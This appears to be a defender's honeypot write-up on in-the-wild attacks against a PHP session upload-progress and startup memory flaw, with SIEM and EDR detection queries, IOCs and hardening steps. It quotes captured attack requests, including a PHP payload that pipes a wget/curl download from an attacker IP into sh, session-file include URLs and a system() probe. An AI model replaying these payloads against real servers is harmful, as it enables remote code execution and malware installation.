PHP2Shell in the Wild: Detecting Upload-Progress Abuse, Startup Memory Exhaustion and the Shell That Follows
I exposed an unpatched PHP 8.3.35 container the day after PHP2Shell was disclosed. Scanners came within 21 hours, a RedTail operator tried to chain it with a session-file include, and one source drove PHP out of memory 16 times. Here's the kill chain and the Splunk + CrowdStrike and Sentinel + Defender for Endpoint detections, plus one lesson about SIEM truncation I learned the hard way.
Part of my honeypot detection series. Org A runs Splunk with CrowdStrike Falcon. Its Falcon queries use Event Search field names; on raw FDR data, apply the normalisation macro first. Org B runs Microsoft Sentinel with Defender for Endpoint. The web and PHP-error KQL ran against the honeypot's real logs. The endpoint queries are written from the payloads shown here, so adapt the field names to your environment.
1. What Hit the Server
PHP2Shell (CVE-2026-109618 and CVE-2026-109619) is a memory-management flaw in how PHP cleans up after a fatal error during request startup. Request startup is when PHP parses a multipart body into $_POST and $_FILES, before your script runs. So the bug is reachable on any PHP page that accepts a POST, whatever the application does.
I put an unpatched PHP 8.3.35 container online the day after disclosure, deliberately easy to reach: a 2 MB memory limit, and upload progress left in the session file. Here's who came:
- 21 hours in: a scanner calling itself
php2shell-scan/3.1 (authorized-security-assessment)checked whether upload progress was on. - Two hours later: a RedTail operator tried to plant PHP in a session file and include it. The request was malformed and couldn't work.
- Five days in: one source sent 16 large multipart bodies, and PHP logged exactly 16 out-of-memory fatal errors during startup. That's the code path PHP2Shell abuses. No worker crashed.
- Throughout: two other scanners and the BitSight internet census probed the same feature.
Nothing executed. But the attempts show exactly which logs light up, and where they don't.
2. The Attack, Step by Step
Recon Step 1: Is upload progress on?
The scanner's check is the minimum that makes PHP start tracking upload progress: a session ID, a PHP_SESSION_UPLOAD_PROGRESS field, then a one-byte file:
POST / HTTP/1.1
User-Agent: php2shell-scan/3.1 (authorized-security-assessment)
Content-Type: multipart/form-data; boundary=----p2s78581043
------p2s78581043
Content-Disposition: form-data; name="PHPSESSID"
463abde02ef163a4d075ef88acafc965
------p2s78581043
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
probe
------p2s78581043
Content-Disposition: form-data; name="f"; filename="a"
Z
------p2s78581043--
If the server writes a session file for that ID, the feature is live (T1595.002). One second later, the scanner "seeded" 15 likely PHP paths with fresh session IDs, to see which ones run PHP at all.
Exploit + Delivery Step 2: Plant PHP in a session file, then include it
The RedTail operator's request, with 57 padding fields and the 16 KB file shortened:
POST /index.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=WebKitFormBoundaryk2my9i20
Content-Disposition: form-data; name="PHPSESSID"
bIDjFWKi9L5k8xKs-7FJjycGeDWFLzsi
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?php echo '__START__'; system('(wget --no-check-certificate -qO- hxxps://217.60.102[.]5/sh || curl -sk hxxps://217.60.102[.]5/sh) | sh -s php2shell'); echo '__END__';?>
Content-Disposition: form-data; name="pad_0"
hpye1ManlAdwwCutGEGj0yKNLXszyi8IwzAXcRE9z82DdUCBLIGUQxAiw0icVPPB
Content-Disposition: form-data; name="pad_1"
2CxCmzvH3LxuFm931sSAsam3pspzzotgGZjt2hWCHmUAIaJRGndejVbqsnxppus2
Content-Disposition: form-data; name="pad_2"
Oa2EiBC0eR4Jw4I3P8CJk4I7fdJNrlQ4CfzLy5ro8DFM1O1ze1SS0k1LKzFQLmQ9
[... pad_3 to pad_55: 53 more fields of the same form, each 64 random letters and digits ...]
Content-Disposition: form-data; name="pad_56"
dz8asMBRpSKt8zdD066UmrUlsFEwGRVa5ztbr2S4Cmr7ZN0A9WMpbtbRMJvJcG9K
--WebKitFormBoundaryk2my9i20
Content-Disposition: form-data; name="file"; filename="data.bin"
Content-Type: application/octet-stream
bqhkQr8jbypj2sTTRfUnQdjL7g5z1464HSlzxvFnlhxZ7iYTV7ie09jvWCMak04SWI3yJYkNwvgmQbSRnECKZwszAQeCOfjc[... 16288 more random letters and digits; file data is 16384 bytes in total ...]
--WebKitFormBoundaryk2my9i20--
The plan was to write PHP into /tmp/sess_<id> through upload progress, then include that file through a vulnerable page parameter within the same second (T1190, T1505.003):
04:53:56 POST /index.php 200 23,757 bytes in
04:53:57 GET /index.php?page=/tmp/sess_bIDjFWKi9L5k8xKs-7FJjycGeDWFLzsi 200 285 bytes in
04:54:38 POST /index.php 200 21,112 bytes in
04:54:38 GET /index.php?page=/tmp/sess_-HUrVNNHqwWGPHlvr2w989UWD61HOQSL 200 285 bytes in
04:55:19 POST /index.php 200 21,342 bytes in
04:55:20 GET /index.php?page=/tmp/sess_aq7Xy0nVnZLxBzLXBhoEbzud6IhDcPw8 200 285 bytes in
The PHP runs RedTail's usual loader, tagged with this campaign:
(wget --no-check-certificate -qO- hxxps://217.60.102[.]5/sh || curl -sk hxxps://217.60.102[.]5/sh) | sh -s php2shell
It failed, and not because of my server. The text fields have no boundary lines in front of them, so PHP's parser threw them away. On a real application with an include bug, a correct version of this request is a one-shot RCE.
Exploit Step 3: Drive PHP out of memory during startup
On 28 October, 2.59.133[.]151 sent 726 requests, almost all within two minutes. Among them were 16 multipart POSTs of 1.3 to 2.2 MB, in pairs. The container's PHP error log shows one fatal error for each:
[Wed Oct 28 01:48:42.451400 2026] [php:error] [pid 21:tid 21] [client 172.18.0.1:56708] PHP Fatal error: Allowed memory size of 2097152 bytes exhausted (tried to allocate 4096 bytes) in Unknown on line 0
172.18.0.1 - - [28/Oct/2026:01:48:42 +0000] "POST / HTTP/1.0" 200 364 "-" "-"
[Wed Oct 28 01:48:43.562341 2026] [php:error] [pid 19:tid 19] [client 172.18.0.1:56710] PHP Fatal error: Allowed memory size of 2097152 bytes exhausted (tried to allocate 4096 bytes) in Unknown on line 0
172.18.0.1 - - [28/Oct/2026:01:48:43 +0000] "POST / HTTP/1.0" 200 364 "-" "-"
in Unknown on line 0 means no script was running yet. Memory ran out while PHP was parsing the request. That's the state PHP2Shell needs. The same worker PIDs then served normal requests seconds later, so nothing crashed, and nothing followed. My read is that it was a tool testing whether the target reaches the vulnerable state, and perhaps shaping memory before a real attempt (T1190).
Exploit Step 4: Did the code run?
A third scanner, svs, puts system(base64_decode("aWQ=")) (that's id) in the progress field, wrapped in split markers so the literal svs_p2s_open only appears if it executed:
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----svsP2sFormBoundary7Q1
------svsP2sFormBoundary7Q1
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?php echo "svs_p2s_" . "open"; system(base64_decode("aWQ=")); echo "svs_p2s_" . "close"; ?>
------svsP2sFormBoundary7Q1
Content-Disposition: form-data; name="svs_probe"; filename="svs_probe.txt"
Content-Type: text/plain
svs
------svsP2sFormBoundary7Q1--
3. Pyramid of Pain
| Level | Indicator | What I'd do with it |
|---|---|---|
| IP / host | Loader 217.60.102[.]5; 77.90.185[.]20 (which also brute-forced SSH) | Block. Same RedTail infrastructure as in the RedTail post. |
| Network artefacts | User-Agent php2shell-scan/3.1; boundaries ----p2s…, ----svsP2sFormBoundary…; markers __START__, svs_p2s_ | Free to alert on, and free for them to change. |
| Tools | Upload-progress field in a multipart POST; page=/tmp/sess_… right after | Detect the field and the include. Every variant of this technique needs both. |
| TTPs | PHP startup OOM fatal errors in a burst; a PHP worker spawning a shell; PHP worker crashes | Highest value. These are what PHP2Shell does to a server, whatever the request looks like. |
4. Web and Server-Log Detections
For Org B I've parsed the honeypot's nginx log into a WebAccess function. For Org A I've used raw nginx where the body matters, and the CIM Web data model otherwise.
let WebAccess = Syslog
| where SyslogMessage startswith "php_http: "
| extend j = parse_json(substring(SyslogMessage, 10))
| project TimeGenerated, DestHost = Computer, SrcIp = tostring(j.client), Method = tostring(j.method), Request = tostring(j.request),
Url = tostring(j.uri), Status = toint(j.status), BytesOut = toint(j.bytes_out),
UserAgent = tostring(j.user_agent), ContentType = tostring(j.content_type), Body = tostring(j.body);
W1. Upload-progress field in a multipart POST
Org B Tested: 36 requests from 17 sources. 3 had PHP or command code in the body.
WebAccess
| where Method == "POST" and ContentType startswith "multipart/form-data"
| where Body has "PHP_SESSION_UPLOAD_PROGRESS"
| extend HasCode = Body has_any ("<?php", "<?=", "system(", "shell_exec", "base64_decode", "passthru")
| summarize Requests = count(), Sources = dcount(SrcIp), WithCode = countif(HasCode), UAs = make_set(UserAgent, 10)
Org A
index=web sourcetype=nginx:access method=POST "multipart/form-data" "PHP_SESSION_UPLOAD_PROGRESS"
| eval has_code=if(match(_raw, "<\?php|<\?=|system\(|shell_exec|base64_decode|passthru"), 1, 0)
| stats count dc(clientip) as sources sum(has_code) as with_code values(http_user_agent) as uas
Real browsers almost never send this field. Some upload widgets do, so check your own apps first. With code in the field, it's high severity.
W2. Including a session file (T1505.003)
Org B Tested: two sources. svs sent 18 (4 answered 200), and the RedTail operator sent 3 (all answered 200, all the normal page).
WebAccess
| where Url contains "sess_" and (Url contains "/tmp/" or Url contains "../" or Url contains "%2Ftmp")
| summarize Requests = count(), Answered200 = countif(Status == 200) by SrcIp
Org A
| tstats count from datamodel=Web where Web.url="*sess_*" (Web.url="*/tmp/*" OR Web.url="*../*" OR Web.url="*%2Ftmp*")
by Web.src Web.dest Web.status
| rename Web.* as *
A request path containing /tmp/sess_ has no innocent explanation. A 200 means the include parameter exists, so treat it as critical until you've confirmed the response is your normal page.
W3. PHP out of memory during startup: the PHP2Shell precondition
Org B Tested: exactly the 16 errors from the 28 October burst, in two minutes. The PHP error log was the only place this showed up. The web log just showed POSTs answered 200.
Syslog
| where SyslogMessage has "Allowed memory size" and SyslogMessage has "Unknown on line 0"
| summarize Errors = count(), Hosts = dcount(Computer), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by ProcessName
Org A
index=web (sourcetype=apache:error OR sourcetype=php:error OR sourcetype="php-fpm")
"Allowed memory size" "Unknown on line 0"
| bin _time span=5m
| stats count as oom_errors values(client) as clients by _time host
| where oom_errors >= 3
Ship your PHP error log. Most people don't. A burst of startup OOMs from one client is either a PHP2Shell attempt or a badly broken upload client, and both are worth knowing about. Medium severity, raised to high if E1 or E2 fires on the same host.
W4. The lesson: check your SIEM isn't truncating the evidence
When I tested W1 and W2, the RedTail exploit POSTs were missing. The follow-up GETs were there, but not the 16 to 23 KB uploads. They had reached Sentinel, cut off at about 8 KB, which broke the JSON, so my parser silently dropped them. Big multipart bodies are exactly what this attack sends. Find out what your pipeline cuts:
Syslog
| where SyslogMessage startswith "php_http: "
| extend Parsed = parse_json(substring(SyslogMessage, 10))
| where isnull(Parsed) or isempty(tostring(Parsed.client))
| summarize Unparsed = count(), MaxLen = max(strlen(SyslogMessage)) by Computer
In Splunk, check TRUNCATE in props.conf for your web sourcetype (10,000 bytes by default). Either raise the limit, or log the size and the first part of the body as separate fields, so a cut-off record still parses.
5. Endpoint Detections
E1. PHP worker spawns a shell or downloader (T1059.004, T1105)
Org A
index=crowdstrike event_platform=Lin event_simpleName=ProcessRollup2
(ParentBaseFileName IN ("php","php-fpm*","apache2","httpd") OR GrandParentBaseFileName IN ("php","php-fpm*","apache2","httpd"))
FileName IN ("sh","bash","dash","wget","curl")
| table _time ComputerName UserName ParentBaseFileName FileName CommandLine
Org B
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("php","php-fpm","apache2","httpd")
or InitiatingProcessParentFileName in~ ("php","php-fpm","apache2","httpd")
| where FileName in~ ("sh","bash","dash","wget","curl")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
This is the same rule as in the RedTail post, because a successful PHP2Shell ends the same way. It's high severity on any PHP host.
E2. PHP or Apache workers crashing
Memory-corruption exploits rarely land first time. Failed attempts crash workers. My container had zero crashes. On a real server, two or more in ten minutes is worth a look.
Org A
index=linux sourcetype=syslog ("segfault" OR "exit signal Segmentation fault" OR "general protection")
(process IN ("kernel") OR "apache2" OR "php-fpm" OR "httpd")
| rex "(?<proc>apache2|php-fpm[\d.]*|httpd|php)\[(?<pid>\d+)\]"
| bin _time span=10m
| stats count as crashes values(proc) as procs by _time host
| where crashes >= 2
Org B
Syslog
| where TimeGenerated > ago(7d)
| where SyslogMessage has_any ("segfault", "exit signal Segmentation fault", "general protection")
| where SyslogMessage has_any ("apache2", "php-fpm", "httpd", "php")
| summarize Crashes = count(), Sample = take_any(SyslogMessage) by Computer, bin(TimeGenerated, 10m)
| where Crashes >= 2
E3. Payload fingerprints in the shell command line
Org A
index=crowdstrike event_platform=Lin event_simpleName=ProcessRollup2
FileName IN ("sh","bash","dash")
(CommandLine="*__START__*" OR CommandLine="*svs_p2s*" OR CommandLine="*-s php2shell*" OR CommandLine="*sh -s *")
| table _time ComputerName UserName ParentBaseFileName CommandLine
Org B
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("sh", "bash", "dash")
| where ProcessCommandLine has_any ("__START__", "svs_p2s") or ProcessCommandLine matches regex @"\bsh\s+-s\s+\w+"
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine
sh -s <tag> fed from a pipe is how RedTail passes its campaign tag. Combined with the parent process from E1, it's a near-certain hit.
6. When It Fires
- W1 or W2 only: check the PHP version. You need the fixed release for your branch (8.3.36 on 8.3). Check
session.upload_progress.enabledtoo. If you're patched or it's off, close the alert. - W3: look for E1 and E2 on the same host in the same window. If neither fired, record the source and patch.
- E1, E2 or E3: Org A Network-contain the host in Falcon. Org B Isolate it in Defender. List
/tmp/sess_*files and look for PHP code in them. That's the planted payload, and it's still there afterwards. - Rebuild from a patched image and rotate anything PHP could read.
7. Hardening
- Patch PHP to the fixed release for your branch (8.3.36 on 8.3).
- Set
session.upload_progress.enabled=0unless you use it. Almost nobody does. - Keep
session.upload_progress.cleanup=1(the default), and putsession.save_pathsomewhere the web user can't include from. - Fix include parameters. Never pass user input to
includeorrequire. - Ship the PHP error log to your SIEM, and check that large web records aren't being truncated.
8. IOCs
| Type | Value | Context |
|---|---|---|
| Second stage | hxxps://217.60.102[.]5/sh | RedTail loader, tag php2shell |
| RedTail operator | 77.90.185[.]20 | Session-file plant + include; also SSH brute force |
| Memory exhaustion | 2.59.133[.]151, boundary ----lf… | 16 startup OOMs on 28 Oct |
| Scanners | UA php2shell-scan/3.1; boundary ----svsP2sFormBoundary7Q1; path /bitsight/internet_census/probe | Exposure checks |
| Markers | __START__ / __END__, svs_p2s_open / svs_p2s_close | Execution checks |